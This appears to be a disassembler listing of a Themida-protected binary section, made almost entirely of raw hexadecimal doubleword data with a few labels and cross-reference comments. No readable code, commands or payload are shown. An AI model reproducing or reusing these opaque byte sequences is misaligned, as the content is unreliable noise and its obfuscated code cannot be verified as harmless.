44840F01h, 0FC000005h, 0E2BA6660h dd 0FACB81ACh, 6125D314h, 9CD85C6h, 60430607h, 816680B7h dd 61CC66DAh, 6B6F7968h, 0F5250C5h, 68Ch, 0F525000h, 0F585A31h dd 0FA8A6031h, 5A61D78Bh, 24348158h, 29CEBF8Ch, 0EB816660h dd 0BF0F2DB6h, 8B0F61F2h, 1, 99B5FFF8h, 0F06070Dh, 684h dd 61606000h, 8D61D98Bh, 0A703885h, 0E7816006h, 4CCDCDB1h dd 61D7B70Fh, 10E9h, 2AC62C00h, 2E301A78h, 838DAD98h, 877BDAD7h dd 0FD0FF23h, 0B8Dh, 0C4806000h, 8A0F48h, 61000000h, 1818589h dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0BB6A9AC3h, 0CD85C61Ch, 50060709h, 58E0F60h dd 66000000h, 1E94CF81h, 13E9h, 50AA5900h, 0E439BC6Dh dd 40B92185h, 0FDC1532Dh, 0B12F07Bh, 4E861h, 0AD560000h dd 5250A8ADh, 0EE95250h, 6000000h, 81BBC537h, 8A5E14EDh dd 72FB698Bh, 60310F8Fh, 0F585A61h, 46BA6031h, 0E96CEBBAh dd 8, 0AFDF09EAh, 5DECEE56h, 50585A61h, 12890Fh, 52500000h dd 310F5250h, 310F585Ah, 310F5250h, 585A585Ah, 424448Bh dd 66D38B60h, 8B61CF8Bh, 50525000h, 0F616052h, 5A616031h dd 50310F58h, 0F616052h, 0F525031h, 5A585A31h, 89585A58h dd 0F042444h, 88Fh, 2880F00h, 60000000h, 8C0F5861h, 8 dd 2850Fh, 61600000h, 0D99B5FFh, 8DFC0607h, 0A703885h dd 198E0F06h, 60000000h, 5CF083BEh, 0DE92Eh, 6D220000h dd 58742186h, 0B9D08DA8h, 6170EBC1h, 8F0FD0FFh, 0Fh, 0AE9h dd 98331100h, 0E7EE73B8h, 897763D9h, 72ADD85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 665B07F1h, 0BFFE91A4h, 1820F86h, 0F9000000h, 4E8h, 8FA82F00h dd 0EE9F0h, 0F5490000h, 5FFFE5EFh, 15EFA5B7h, 7254988Fh dd 0F525050h, 682h, 0F525000h, 0F585A31h, 0AE931h, 56F60000h dd 32DC4BF7h, 0B3D0C713h, 448B585Ah, 0F600424h, 28Fh, 8B616000h dd 8B61F9h, 0BE9h, 0E325900h, 0F2A20EFFh, 9FF4757Fh, 4244489h dd 14E9h, 83880300h, 0C74355E0h, 4DFB1280h, 0E290C79h dd 0E6104E24h, 820F58C1h, 14h, 0FE9h, 6E30DA00h, 1DBEC4B0h dd 7632512Bh, 4A27EF47h, 0DE9h, 40E53600h, 0EA9F4D99h dd 2A9569DDh, 0B5FF96D5h, 6070D99h, 78B0Fh, 8E0F0000h dd 1, 38858DF9h, 0E9060A70h, 14h, 0FD89E6C8h, 5ECE1D73h dd 99854C9Ch, 7D702E98h, 1E022442h, 0E860D0FFh, 5, 0B1EBD02Fh dd 0D78B662Fh, 0FE95Bh, 4B740000h, 1321DFBBh, 59B84EFCh dd 6AAEE5BCh, 858961F7h, 6071B11h, 12800Fh, 800F0000h dd 0Ch, 7E9h, 0CEC65800h, 11A689D1h, 9CD85C6h, 60500607h dd 66C7B70Fh, 61007BB8h, 9B9FA368h, 0AE993h, 0F03B0000h dd 0C7359352h, 0F253C812h, 0F5243481h, 6A040743h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 8C69C355h, 539C934Bh, 8F0F6026h, 2, 0EE805B53h, 0B5FF610Dh dd 607059Dh, 0AEF38160h, 613A1257h, 3963858Dh, 80600607h dd 0FA8B30C1h, 6AD0FF61h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0E3C2C355h, 0CA8A60C4h dd 89F961F8h, 70B1185h, 870FF806h, 1, 171E9F5h, 95F50000h dd 0C820F60h, 0E8000000h, 6, 641CF711h, 0E958F48Ch, 5 dd 0EBBDE01Bh, 0F50616Ch, 0C8Ah, 6880F00h, 0F000000h, 81h dd 880F9500h, 5, 5F52F860h, 18F0F61h, 0F8000000h, 890FEC8Bh dd 18h, 12800Fh, 0DE90000h, 0C4000000h, 89BF2C6h, 837C7798h dd 0D550A274h, 60FCC483h, 11E8F5h, 32860000h, 7C9D3E05h dd 0DDCAFB61h, 0F6B71A89h, 0F6A92C0h, 8Ch, 60615800h, 17840F60h dd 0E8000000h, 11h, 6E960616h, 0BA91287Eh, 0C83D4961h dd 55FC1024h, 0D8815F07h, 17452095h, 0E861h, 815A0000h dd 0C74C3EAh, 0FC45C706h, 0 dd 13A1BA83h, 0F010607h, 9884h, 6A5200h, 92FF0F6Ah, 6070181h dd 0F382895Ah, 8D060C6Eh, 0C6EF79Ah, 3C75206h, 128h, 92FF5053h dd 6072ADDh, 9A8D525Ah, 60C6EF7h, 0F3B2FF53h, 0FF060C6Eh dd 70B1192h, 0C00B5A06h, 9A8D5074h, 60C6EF7h, 33247B8Dh dd 4F981C9h, 74000001h, 3C8141D4h, 58452E39h, 8DEE7545h dd 752B3934h, 91BA8D0Ch, 8B06071Bh, 0A4F30C4Dh, 52AAC032h dd 8D0875FFh, 71B9182h, 92FF5006h, 6071B11h, 75C00B5Ah dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh dd 8BF9F800h, 258D8DD2h, 6A060C76h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 5B87C351h dd 8D89EAE6h, 6071AD9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 8EC35343h, 1D85C72Eh, 9C060710h, 8A000069h dd 585C7D1h, 60733h, 23000000h, 70E59BDh, 39B5FF06h, 6A060720h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 7B59C356h, 728D42DCh, 185995FFh, 8D010607h dd 60705B5h, 0DFE88166h, 0FF006AC0h, 70D6995h, 0EBC08B06h dd 8A68604Fh, 5E01BC15h, 0B6ACAA6Dh, 0C4F5FCB0h, 29C8A86Dh dd 122F4F2h, 37200F44h, 2219812Fh, 9D44374h, 27EAA991h dd 0FEFA049Fh, 0A3E3AFD2h, 0FD6C201Eh, 5FAF1EB8h, 1CA7BA27h dd 0C4FFA4F4h, 5556B42Fh, 7D8BDE19h, 5F9F683Bh, 55DA7197h dd 772F8D8Dh, 0F60060Ch, 687h, 319D8900h, 8B060708h, 8D8961CFh dd 6071AD9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 6AC35646h, 101D85C7h, 719C0607h, 81660000h, 89667DEAh dd 701D1BDh, 585C706h, 60733h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 5E0CC350h dd 7FCA4D32h, 0D2B70FDDh, 1351B5FFh, 858B0607h, 6070D31h dd 185995FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 66757CC3h, 6ACBE1BAh, 6995FF00h dd 8B06070Dh, 0AC29EBC0h, 0BFDA2375h, 68685E42h, 0C368EFC2h dd 3602CC19h, 0F7692F6Fh, 0DE6CABE4h, 0E76A7EA0h, 7D3501D5h dd 6DA78135h, 344C1DF9h, 0E9971150h, 0A5FB4843h, 0F10EAC44h dd 51A73B2h, 7966378Bh, 0FFB7721Ch, 82F487A5h, 308A8749h dd 47C12683h, 23B57A39h, 290A8A6Dh, 3FB63170h, 30B73A3Eh dd 0C63661DDh, 7E78882Eh, 3351DE29h, 8D3437BBh, 36B01FA4h dd 0C3338EEh, 0D8B73777h, 30B737B7h, 5EFE0DCh, 4E8C4C10h dd 6D9B1F24h, 30B73E52h, 0AC96A9DDh, 48609677h, 0D8E9F576h dd 30B737B7h, 6050C8A0h, 0E9C3074Eh, 639D74D5h, 3315DEE4h dd 0F20837DDh, 0BDD290BAh, 3CC04AF2h, 0E00038BDh, 0B084898Dh dd 343E4F98h, 0B1D1CE53h, 0BD670769h, 3CC06858h, 895EB6E8h dd 60855C7Ch, 343E860Eh, 63B75DF9h, 30B73406h, 0F3EC1777h dd 14EBBEE0h, 14F3B6D9h, 30B721EAh, 0F3E47477h, 0D9F43C28h dd 30B737CFh, 8DB54A5Eh, 1F8E7EB2h, 0E532D728h, 0A0B087FAh dd 0BCB85A06h, 30B73774h, 0CF6580B4h, 37B6F648h, 0D67689E8h dd 0F03C021Dh, 2A7A8A38h, 45B731DAh, 50AB4E7h, 30B13066h dd 63E72ECFh, 4A0FF756h, 0B9B737EAh, 37A84AF2h, 0F02ABABDh dd 0CFB13E70h, 0B3EF6C3Dh, 37A602CAh, 27C337BDh, 4A0F648Dh dd 0B9B737EAh, 37A84AF2h, 9F2ABABDh, 0CFB13E77h, 3FEF6C3Dh dd 0C9E7C4C0h, 0BB7DBCE4h, 0C80C571Dh, 0D9867854h, 30B7377Ch dd 15E06517h, 0C6C4F7C0h, 5108CC7Ah, 47D0AAFAh, 30DD31B7h dd 30B4DF8Ah, 6F9737EEh, 4C3E68B4h, 7436339Fh, 30A133F9h dd 67F037EEh, 20EAC5B4h, 6EACB236h, 30DD31D1h, 30B4DFB8h dd 6E973777h, 443E6978h, 743633F9h, 30A133CAh, 66F13777h dd 15330978h, 30B73E34h, 28718DEEh, 5FF44AD4h, 0E0488169h dd 30B73C34h, 0FD90FFEEh, 0BA489D69h, 5B5B4B29h, 0B4B8F7D6h dd 30B7377Dh, 0D8E0371Dh, 30B737B8h, 6F7468FDh, 34934B67h dd 349373F6h, 30B737A1h, 6374609Ah, 9F423E2Eh, 0B6B866FBh dd 30B737B9h, 87D7E056h, 30A5DE76h, 11313777h, 0BD1F6FCFh dd 0DB768E0Dh, 0EDC6C79Eh, 2E8BAA09h, 0C03C51DAh, 7B2CAA50h dd 0BEB831E9h, 30B73774h, 8844BCDDh, 30B737DEh, 30BFB1E1h dd 0B6B83777h, 30B737B9h, 0D348F956h, 0D8E53784h, 30B73774h dd 6A746D9Bh, 34936354h, 3493736Fh, 30B7376Dh, 0ED7465F9h dd 74D25A46h, 1B0DECCDh, 0BDD0766Eh, 3CC05826h, 0C60038DBh dd 6EACB263h, 30DD317Bh, 30B4DFE9h, 6A9737DDh, 643E6D2Dh dd 74363353h, 30A1339Fh, 62F537DDh, 2A01312Dh, 30B7389Eh dd 375810BBh, 0EA7691A4h, 6843572Bh, 576D8C5Fh, 4B7DB6DDh dd 5A67C80Eh, 335F65EEh, 10B73777h, 0B9EDF4E1h, 0B1B31389h dd 26B313AAh, 72B73777h, 343BF4E9h, 30B2DFCCh, 0C51A37EEh dd 56A5611Ch, 6EEA1C04h, 0BA4088D2h, 3F773C19h, 30B755F3h dd 0BD64BCBBh, 37FCAC40h, 65B75DE8h, 30B7349Fh, 0F3EA17BBh dd 14DBBE80h, 14F3B6EAh, 30B72A73h, 0F3E272BBh, 4310805Ch dd 1DB19821h, 87B8FDFEh, 88F8826Dh, 30B737DCh, 0D8E73784h dd 30B73774h, 68746F9Bh, 34937354h, 3493736Fh, 30B7376Eh dd 0C37467FBh, 65C2A152h, 0E456B768h, 0B508D488h, 0BDF52BB4h dd 3CC04340h, 0D0FE8EE8h, 0B53A0C58h, 36BB69A0h, 30B73B34h dd 810AA1EEh, 0EFCE09BEh, 7D21E0E4h, 5A67C8BBh, 335F65EEh dd 10B73777h, 0B9EDF4E1h, 0B1B31389h, 2CB313AAh, 72B73777h dd 4B29F4E9h, 8373E446h, 3BF421FDh, 0B53338B7h, 0D9B737BBh dd 30B737CFh, 19D1413Dh, 89F3FC67h, 1843C776h, 2D4490EAh dd 8ED158A0h, 0AD3A7C47h, 36B07C20h, 0D8E737B7h, 30B737EDh dd 68746F57h, 34937332h, 3493735Ch, 30B737F5h, 86746737h dd 10C58564h, 503128ADh, 3F19F56Eh, 30B720F2h, 30A5DEBBh dd 7C8F37DDh, 62CA372Fh, 6FFE34C9h, 64142AAh, 5BDD626h dd 30B48F8Fh, 0E1363777h, 9A526E2h, 0B4B8D422h, 30B737EDh dd 50608078h, 0CF0838DBh, 518480BCh, 0F10E51ADh, 0BD4A820Bh dd 3CC06A06h, 983ABADBh, 88B13B95h, 0BAFC6B0Ah, 12B2B288h dd 0FF9C31DAh, 0C05826BDh, 38DB3Ch, 0ACB263C6h, 0DD317B6Eh dd 0B4DFE930h, 9737DD30h, 836D2D6Ah, 0A4F305E9h, 0BF60C08Bh dd 471500FAh, 0FE9h, 5D9A9600h, 0F3601A08h, 2D9CF564h dd 6070FB77h, 8BF98B61h, 8E0FC3h, 8B000000h, 800FC0h, 83000000h dd 71ACDBDh, 9750006h, 1135BD83h, 74000607h, 8B535019h dd 47AB8C0h, 85890000h, 6072F81h, 0AE279D8Dh, 0D3FF0609h dd 0BD83585Bh, 6071135h, 50177400h, 47AB853h, 85890000h dd 6072F81h, 0AAC89D8Dh, 0D3FF0609h, 8B0F585Bh, 4, 5782BE66h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F5C35545h dd 1C03E34Fh, 0B3295B70h, 9E8E6h, 192C0000h, 7C97C427h dd 0E91C41A3h, 0Ch, 0B4F9129Eh, 410F4B08h, 1695ADD0h, 0E9C08B5Eh dd 266h, 0D98C6660h, 0F04C1F6h, 3584h, 0FF016A00h, 7059DB5h dd 38858D06h, 0FF060A70h, 0F98589D0h, 8B060706h, 0CEFC1FEh dd 6000068h, 6A006A20h, 0D685702h, 0FF000100h, 706F995h dd 32E906h, 85C60000h, 60709CDh, 30DF6856h, 0B5FFA9C5h dd 6070D99h, 7038858Dh, 0D0FF060Ah, 84D8589h, 858D0607h dd 6071291h, 6A406A50h, 95FF5605h, 607084Dh, 0C361h, 2 dup(0) dd 8B520000h, 428B60D4h, 13858908h, 8B060C7Dh, 85890C42h dd 60C7D0Bh, 8910428Bh, 0C7D0F85h, 49B58D06h, 8D060C7Dh dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 7D13B58Bh, 858B060Ch dd 60C7D0Bh, 7D0FBD83h, 0F00060Ch, 784h, 0E9068900h, 2 dd 0CF0688h, 0 db 3 dup(0) byte_594533 db 52h ; DATA XREF: Themida_:0053C9B0o dd 8B60D48Bh, 85890842h, 60C7D13h, 7D9AB58Dh, 858D060Ch dd 5B7E35h, 5A61D0FFh, 7D13858Bh, 4C2060Ch, 13858B00h dd 8B060C7Dh, 13858900h, 0CF060C7Dh, 0 dword_59456C dd 70B58960h, 89060C7Dh, 0C7D6C85h, 2D858D06h, 8B06070Fh ; DATA XREF: Themida_:0053DA2Co dd 85894440h, 60C7DA9h, 7DDFB58Dh, 858D060Ch, 5B7E35h dd 8B61D0FFh, 0C7D7085h, 9D8BC306h, 60C7D6Ch, 3C43B70Fh dd 5B8BD803h, 6C9D0378h, 8B060C7Dh, 0B5032473h, 60C7D6Ch dd 207B8B56h, 31C738Bh, 0C7D6CBDh, 6CB50306h, 0FC060C7Dh dd 41FFC983h, 7D709D8Bh, 178B060Ch, 7D6C9503h, 0C783060Ch dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h, 43FFFFFFh dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h dd 86048B0Fh, 7D6C8503h, 8589060Ch, 60C7D70h, 0CE8BF08Bh dd 0BD81C18Bh, 60C7DA9h, 0C0300000h, 0D850Fh, 0E8C10000h dd 0FFC2514h, 8E90000h, 0C1000000h, 0F82512E8h, 8B00003Fh dd 0C7DA9BDh, 70C8306h, 7148B06h, 8124C28Bh, 0C18B813Ch dd 57840Fh, 0BD810000h, 60C7DA9h, 0C0300000h, 0D850Fh dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h dd 81000000h, 0C7DA9BDh, 30000006h, 0E840FC0h, 25000000h dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 60C7D17h, 2A998589h dd 858D0607h, 60C7DADh, 126D8589h, 858D0607h, 60C7D74h dd 1F18589h, 6E80607h, 20000000h, 917A8E49h, 5EF88AF4h dd 0CE9h, 0D831FD00h, 37EC486Eh, 937CE7DBh, 0E6C681BFh dd 8000005Fh, 0BDB93ED8h, 0E9000017h, 8, 0FB35EFC5h, 43DC0ABEh dd 0AE83E8Bh, 41000000h, 0EED12D5Eh, 4C24B435h, 4FF5BB8Dh dd 815B010Bh, 9098ABC7h, 0C781F50Eh, 2FB1540Eh, 44ED7FBBh dd 56EF8135h, 0F0A03F5h, 198Ch, 11E800h, 0CC2E0000h, 0F9591FA9h dd 0B0F418E1h, 0C727222Ah, 60077F34h, 3E895B61h, 814EC4BBh dd 93EE813Bh, 6059C42Fh, 0FC6B70Fh, 68Ah, 8BD78100h, 611F7F7Ch dd 2F8FC681h, 0B70F59C4h, 850F49C7h, 22h, 8E951h, 9A3D0000h dd 48F0B132h, 0E958AC4Eh, 31h, 2EEAC6ECh, 0E0598472h, 0B185F4CBh dd 0CE9FFA1h, 67000000h, 0BF39391Bh, 0AFF3F9ABh, 0E9528C9Ah dd 0FFFFFF4Ch, 0A41A8445h, 402D8795h, 0A3D78291h, 9E8B2h dd 55510000h, 20E2BF3Ah, 0B9C64A40h, 0B42F54Eh, 3BD5805Eh dd 5ED2C681h, 60570000h, 66DF8B66h, 19B0EA81h, 0D22B5961h dd 8B35CD80h, 870F163Ch, 6, 0E79FF081h, 0EF815999h, 7B1BA68Ch dd 0EF81DE8Ah, 64B8401Dh, 0A890Fh, 8D0F0000h, 4, 0A0C7B866h dd 0D1A1F781h, 8B660A37h, 0C88A57C3h, 8116048Fh, 0DFE6A7C3h dd 0EA81F951h, 65B01C2h, 81C28B66h, 5B01BEC2h, 3880F06h dd 66000000h, 0FA81C18Bh, 0FFFFA1ECh, 1B850Fh, 0E1810000h dd 57377440h, 27E9h, 0B9549500h, 0FD288ABDh, 0F24D6A1Ch dd 0A6AC3A10h, 68A0F1Eh, 81000000h, 0FDE6E4F0h, 0FF6DE940h dd 3E1CFFFFh, 46BFBED6h, 15CE9h, 651D3B00h, 7D49C1F0h dd 6F5AB196h, 64543B0Ah, 6754F853h, 6C5A930Ah, 47739F53h dd 15268E3Ah, 35272353h, 817B79C4h, 52B49D60h, 23168752h dd 23179753h, 2316DF53h, 2316EB53h, 2316F753h, 2316FB53h dd 2316D253h, 2316FE53h, 23167753h, 2316BF53h, 506F8C53h dd 237B8A27h, 4C64A773h, 50659E30h, 2316FD0Eh, 2316FE53h dd 23167F53h, 2316BF53h, 2316DF53h, 2316EF53h, 2316F753h dd 2316FB53h, 2316FD53h, 2316FE53h, 23167F53h, 2316BF53h dd 2316DF53h, 2316EF53h, 2316F753h, 2316FB53h, 2316FD53h dd 2316FE53h, 23167F53h, 2316BF53h, 2316DF53h, 2316EF53h dd 2316F753h, 2316FB53h, 2316FD53h, 2316FE53h, 23167F53h dd 2316BF53h, 2316DF53h, 2316EF53h, 2316F753h, 2316FB53h dd 2316FD53h, 2316FE53h, 23167F53h, 2316BF53h, 2316DF53h dd 2316EF53h, 2316F753h, 2316FB53h, 2316FD53h, 2316FE53h dd 23167F53h, 2316BF53h, 2316DF53h, 2316EF53h, 2316F753h dd 2316FB53h, 2316FD53h, 2316FE53h, 23167F53h, 2316BF53h dd 2316DF53h, 2316EF53h, 2316F753h, 2316FB53h, 2316FD53h dd 2316FE53h, 23167F53h, 2316BF53h, 2316DF53h, 6E169853h dd 16DCE95Fh, 0DD680000h, 0E9060C83h, 0FFFBBF58h, 0C852668h dd 0BF4EE906h, 0DA68FFFBh, 0E9060C85h, 0FFFBBF44h, 0C86AA68h dd 0BF3AE906h, 5B68FFFBh, 0E9060C88h, 0FFFBBF30h, 0C89C668h dd 0BF26E906h, 9E68FFFBh, 0E9060C8Ah, 0FFFBBF1Ch, 0C8B8A68h dd 0BF12E906h, 9B68FFFBh, 0E9060C8Dh, 0FFFBBF08h, 0C8E8E68h dd 0BEFEE906h, 7968FFFBh, 0E9060C8Fh, 0FFFBBEF4h, 0C903568h dd 0BEEAE906h, 7C68FFFBh, 0E9060C91h, 0FFFBBEE0h, 0C966E68h dd 0BED6E906h, 6B68FFFBh, 0E9060C97h, 0FFFBBECCh, 0CFA17069h dd 6C3E1108h, 0ADCADA5h, 0A2745143h, 3E10E5DBh, 0C1B72B6Ch dd 60531AECh, 0F8ECB385h, 91864D1Fh, 92CFE8BAh, 254A5BA8h dd 1D1B5C80h, 1E4B5146h, 0D468A19Dh, 3D823F2h, 0BA65370Eh dd 0ECD6B3B1h, 8C37F668h, 43160DBAh, 0E0FE21F8h, 66350C01h dd 0E1B8091Bh, 248D8029h, 78D2ABDCh, 2F4AF169h, 82000000h dd 7E5BC962h, 38DE7894h, 0E530118Ch, 2ABB82D3h, 3C05780h dd 2ABBCC19h, 0FBD0C680h, 3213D9B0h, 8FB8080Fh, 0F16A56B6h dd 0BF2Eh, 51466600h, 645A2F7Ah, 7A6F448Fh, 2319C6A3h dd 92C034Eh, 0C59C9166h, 0D169EFF3h, 0F3D18631h, 2166A4E7h dd 8BB0D31Ch, 26EDBF96h, 560F5A31h, 88724FD5h, 8C3803B4h dd 873204E5h, 0B9A380E4h, 86338428h, 0BE6B4829h, 4A21F3C8h dd 0DCC6A59Dh, 8623718Fh, 8DD8A788h, 1FEEC1B8h, 0CE1D7FCh dd 0FCF05455h, 0E933C09Dh, 149Dh, 0CFA17069h, 6C3E1108h dd 0ADCADA5h, 0A2745143h, 3E10E5DBh, 0C1B72B6Ch, 60531AECh dd 0F8ECB385h, 91864D1Fh, 92CFE8BAh, 25495BA8h, 1D1B5C80h dd 0A97B5046h, 902BF4D2h, 6F90DDC7h, 0A8898631h, 0D54B27AAh dd 0C1988DB2h, 6A4337E4h, 877B481Fh, 0A9618BAEh, 7E5BC962h dd 452214C1h, 9E0023FAh, 8C38DD82h, 4557A283h, 802ABBF4h dd 918532C9h, 368E95B8h, 0D5CB78h, 23BBDEB5h, 0F16A574Ah dd 0FDC2h, 7936FA00h, 31CD428Fh, 95624386h, 7EA3C6A3h dd 658F8389h, 0C7453DEEh, 7B6E1BF8h, 0EF506C71h, 3D2A024h dd 19ECE3B8h, 0AF8A7D4Ah, 0C76A8D64h, 2CA004E2h, 93B5011Fh dd 51554B70h, 0E1083181h, 0D2CA97A6h, 10DFB601h, 3923E0C5h dd 86318EECh, 44170EEDh, 6AF05275h, 0D0863193h, 9D6E6613h dd 24717B52h, 0ED863193h, 704188C2h, 5334FA5Dh, 3F160B30h dd 0DAB1A66Dh, 0D155D68Fh, 0E1B803DEh, 92883512h, 0CE9B72BDh dd 0DDB4FFDCh, 0C79B85BAh, 0CE8C3824h, 0FB701BEDh, 0E5CF8C69h dd 8029F598h, 588DB091h, 33A0CC6Eh, 0F6EECD86h, 89665825h dd 3A30DDBAh, 0D6CC9365h, 12694A01h, 32BF9DFDh, 1354E8h dd 58272000h, 0F5C8BF86h, 93645C23h, 2B08FAC1h, 0C79C9259h dd 6EE223F5h, 0AD1A378h, 0A36A3C17h, 3D04D6AFh, 869F7148h dd 48125F49h, 0D2138025h, 7B5046D4h, 16EDE2A9h, 51468C44h dd 9D4A2F7Ah, 86ABCEABh, 21E8BA91h, 380D5829h, 0C39A6C43h dd 0CCCF1C06h, 0E7C88631h, 627CB9C4h, 92912F84h, 577A02D0h dd 6A47DD4Eh, 38CCFC80h, 529C7D8Ch, 0B4FAEE3Eh, 382BD877h dd 183B125Dh, 2B081C0Fh, 0ABABE541h, 0E6C3A49Ah dd 4B6E4339h, 0E87CEFA8h, 1B08210Bh, 280994B2h, 0D2A99E4Bh dd 839317F5h, 7A2ED012h, 71662D57h, 82DAE39Ah, 0D5628F6Fh dd 12A08Bh, 0A4736C00h, 41140BD2h, 0DFB0A86Fh, 7754460Dh dd 13E8DEA5h, 0BA2E6F41h, 561DEFC4h, 0EFB68863h, 895022FBh dd 0D2EBBD94h, 475EAB95h, 16578025h, 5583618h, 578964D7h dd 56D21F09h, 0F2D38631h, 0E6DB0023h, 32DFC40Fh, 3942653Eh dd 6B553232h, 8C3857DBh, 0D0A7795Ah, 56DC2913h, 0FCDD802Ah dd 0E8BFB4D9h, 0DF47E49Dh, 0CC1903ECh, 0CD802A56h, 714E1DECh dd 567DCAB4h, 6A3E802Ah, 0A59DC927h, 81A4854Bh, 0F17624Ch dd 2F108637h, 0D9B0A552h, 744B4007h, 69FB7029h, 15E8DF8Ch dd 68D3BDF2h, 218C328Fh, 0C1B66340h, 68600DEAh, 834A7497h dd 0A01C888Eh, 8C5569Bh, 3635EE39h, 0D767512Eh, 568630DEh dd 8609BE75h, 0BA479DEFh, 11D070h, 0D4A39C00h, 71443B02h dd 0FE0D89Fh, 0A784763Dh, 43180ED5h, 0EA5E9F71h, 864D1FF4h dd 1FE6B893h, 0B980522Bh, 21BEDC4h, 468EDBC5h, 46878025h dd 7B504648h, 5E55C09Eh, 0AA4B14D4h, 0C9865D87h, 315292DFh dd 8FB29386h, 0A27FE586h, 385274B8h, 8F86658Ch, 0CB9A71BCh dd 0DFB6AB80h, 7A51460Dh, 6FF5762Fh, 2E18D592h, 802A52E1h dd 7CDE01E2h, 86317530h, 0B8FD4829h, 0EEE399E9h, 860403E8h dd 9F6EF5C4h, 5549F6CDh, 375A317Ch, 4A273D2Eh, 38061C60h dd 473E1D8Ch, 855AA574h, 996EB990h, 0AD82CDA4h, 14EFE2B9h dd 2B15FA45h, 802A05DEh, 0EAB9F6D7h, 0BDBEE29Ah, 0CC58D365h dd 8E8532EFh, 0F23698BBh, 0E3863105h, 7E682502h, 86310631h dd 42E5132h, 0B48D802Dh db 0C1h, 0E6h word_594F42 dw 0C49Bh ; DATA XREF: ___:off_438100o dd 0DED5AAF5h, 613E3C0Bh, 0DC7CC469h, 0F5EA0F32h, 41EED31Eh dd 532A754Ch, 0AB7DCE30h, 85778631h, 96885DA8h, 0A6996EB9h dd 3090B9CBh, 411F7688h, 2A1E718Eh, 0E0F75351h, 0EDBC9187h dd 34572820h, 3227D52Dh, 0D7C17E5Bh, 8631988Ah, 0EFB59284h dd 0FAC1EB0Eh, 2AE32E05h, 5C462301h, 8C38BB20h, 6F4618F9h dd 0BC445D91h, 587B86E5h, 0A6C5F54Dh, 0CA004B8Fh, 7573FDC9h dd 19813C22h, 2300CFF0h, 3660F639h, 0B802E386h, 2318EBE1h dd 0F3A07D4Ch, 600326FFh, 2660FD4Eh, 0C181386h, 0E1E2452Fh dd 0B6978C32h, 52372CD9h, 0E05EAB95h, 76578029h, 29E11F6Ch dd 68371880h, 97E4CE8Bh, 908029E0h, 9B628CAFh, 0AF84CFA6h dd 0A42DE4B9h, 0C0A3F680h, 101FE933h, 0F2EB0000h, 938A5123h dd 2F27EEC0h, 0D3C58C5Eh, 675D24F6h, 0ADEEC092h, 9C6E4339h dd 3507E2D5h, 0CFA17A6Eh, 6A3C1308h, 0DD2A1451h, 0D6802544h dd 50469795h, 67B2877Dh, 18EFC190h, 0CD24715Bh, 44258631h dd 3207FC21h, 451C673Ch, 61562B76h, 0FC253F8Ah, 0FB01F6A4h dd 0AF154C9Ah, 966F6358h, 0EC26F8C7h, 0F7710C13h, 24F39F6h dd 386317Dh, 7F5FFF22h, 78000001h, 7C84D1BBh, 0A4858631h dd 51466B81h, 655A2F7Ah, 1A11BC8Eh, 0BF432D0Ah, 0B68C38E7h dd 27788AD5h, 0FC802AB3h, 411A3393h, 0B9F16A4Ah, 3Fh, 5DC962F1h dd 0CBB59267h, 8631CC7Eh, 0EAC79677h, 2136E0Ch, 0AC3A380Bh dd 63B5E79h, 3853001Ch, 0C0AA998Ch, 802A3273h, 79C49374h dd 2A331667h, 2282EB80h, 69CE3009h, 0D0A8F1h, 46E00000h dd 4A2F7A51h, 0CC56A38Dh, 604F8631h, 31CD2976h, 7A492A86h dd 673C3257h, 7B52471Ch, 29FAF19Eh, 3A115C35h, 7C49206Bh dd 8D64AF88h, 35E2C76Ah, 49206B3Eh, 350C0126h, 0D1D95F63h dd 5C518631h, 2FDCB385h, 0CEAE313Dh, 19EB672Dh, 528FF4Ah dd 18F56FFCh, 3B6E0A2Eh, 4D2A0B8Ch, 3D5AAA0h, 0B4897F2Ch dd 4A6F9269h, 0B48D8154h, 0C6A19469h, 8F50F9F7h, 71FCBBCBh dd 9CF0EBA2h, 0FB88A3F7h, 0EB4B1h, 0B8878000h, 55281FE6h dd 0F3C4BC83h, 8B685A21h, 27FCF2B9h, 0CE428355h, 6A3103D8h dd 3CA9C77h, 9D64360Fh, 0E6FFD1A8h, 4372BFA9h, 32738025h dd 7D504634h, 0DDFAE8Bh, 877C5146h, 968065B0h, 8631CD49h dd 0CB9A694Ah, 514641F9h, 62AD8A7Ch, 9C71BC8Bh, 37FED0A7h dd 67206B42h, 998360C4h, 8C38F9ADh, 712E0BECh, 2AA13A87h dd 375A3B80h, 7F5D10Dh, 2DDA0000h, 996E6437h, 5DA8774Eh dd 0CEC58886h, 12DB5C44h, 5046D9EFh, 9E4B307Bh, 0F06D3A8h dd 0F71AF13Ch, 31CD4495h, 55D15A86h, 663D8861h, 75D0BA97h dd 128C3E4Dh, 0B2A75431h, 1A11EADDh, 0D7A97847h, 0F9441B10h dd 3CB93614h, 0F79D691Ch, 105B382Ah, 0FBF11639h, 15766F26h dd 8916A3FBh, 0DDC3Fh, 0E0AFA800h, 7D50470Eh, 1BECE4ABh dd 0B3908249h, 4F241AE1h, 0F66AAB7Dh, 92592B00h, 2BF2C49Fh dd 0C58C5E37h, 0E27F9D0h, 429AE7D1h, 5A9B8025h, 7B50465Ch dd 31F4D2A9h, 0A5F9B002h, 